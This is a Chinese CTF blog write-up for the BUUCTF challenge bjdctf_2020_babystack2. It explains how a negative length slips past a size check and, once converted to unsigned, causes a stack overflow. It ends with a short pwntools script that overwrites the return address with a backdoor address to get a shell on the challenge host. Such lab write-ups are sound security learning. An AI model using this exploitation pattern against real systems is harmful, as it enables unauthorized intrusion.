BUUCTF刷题之路--bjdctf_2020_babystack21

23 篇文章 1 订阅

太久没做题了,因为想赶秋招不得不暂时放弃一些爱好。今天一摸题两眼一麻黑,忘的都差不多了。做一题简单题练练手吧。

64位程序,没有我最讨厌的PIE。 接着我们去IDA中查看下这题的逻辑:

 主函数反编译后的结果。一开始我们看出什么门道,在题目中得知应该是一个栈溢出的题目,我在一看函数列表发现了一个后门函数:

那这题不就简单了吗。于是我迫不及待的在靶机上测试,在主函数中只有我们输入的数字不超过10就能得到执行read函数的机会。于是我把断点下到了scanf函数中。

 我输入了一个3,接着我们继续调试到read函数中。

 这个时候我就发现不对劲了。只能放入3个a。

 我在回去看代码逻辑发现了问题。

如果这个数小于10就能执行read,但是read的第三个参数就会变成我们的传入的数。而我们需要溢出的数最起码也要0x18才能利用。那么岂不是构不成栈溢出了?然后我们再仔细看,nbytes这个变量从int类型转换成了unsigned int类型。意思就是说这里人为的创造了一个整数溢出。那么我们只要输入一个负数就能逃避if的检查。接着强转后抛弃符号位这个数会变得非常大。足够我们溢出。但是在调试的时候,我输入负数在read函数那里会直接跳过输入。(不知道什么原因)。我只好直接上代码了:

# -*- coding: utf-8 -*-
from pwn import*
#from LibcSearcher import*
p=remote('node4.buuoj.cn','29689')
p.sendline('-2')#我这填入-1不弹shell
payload='a'*0x18+p64(0x400726)
p.sendline(payload)
p.interactive()

 得到flag: 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值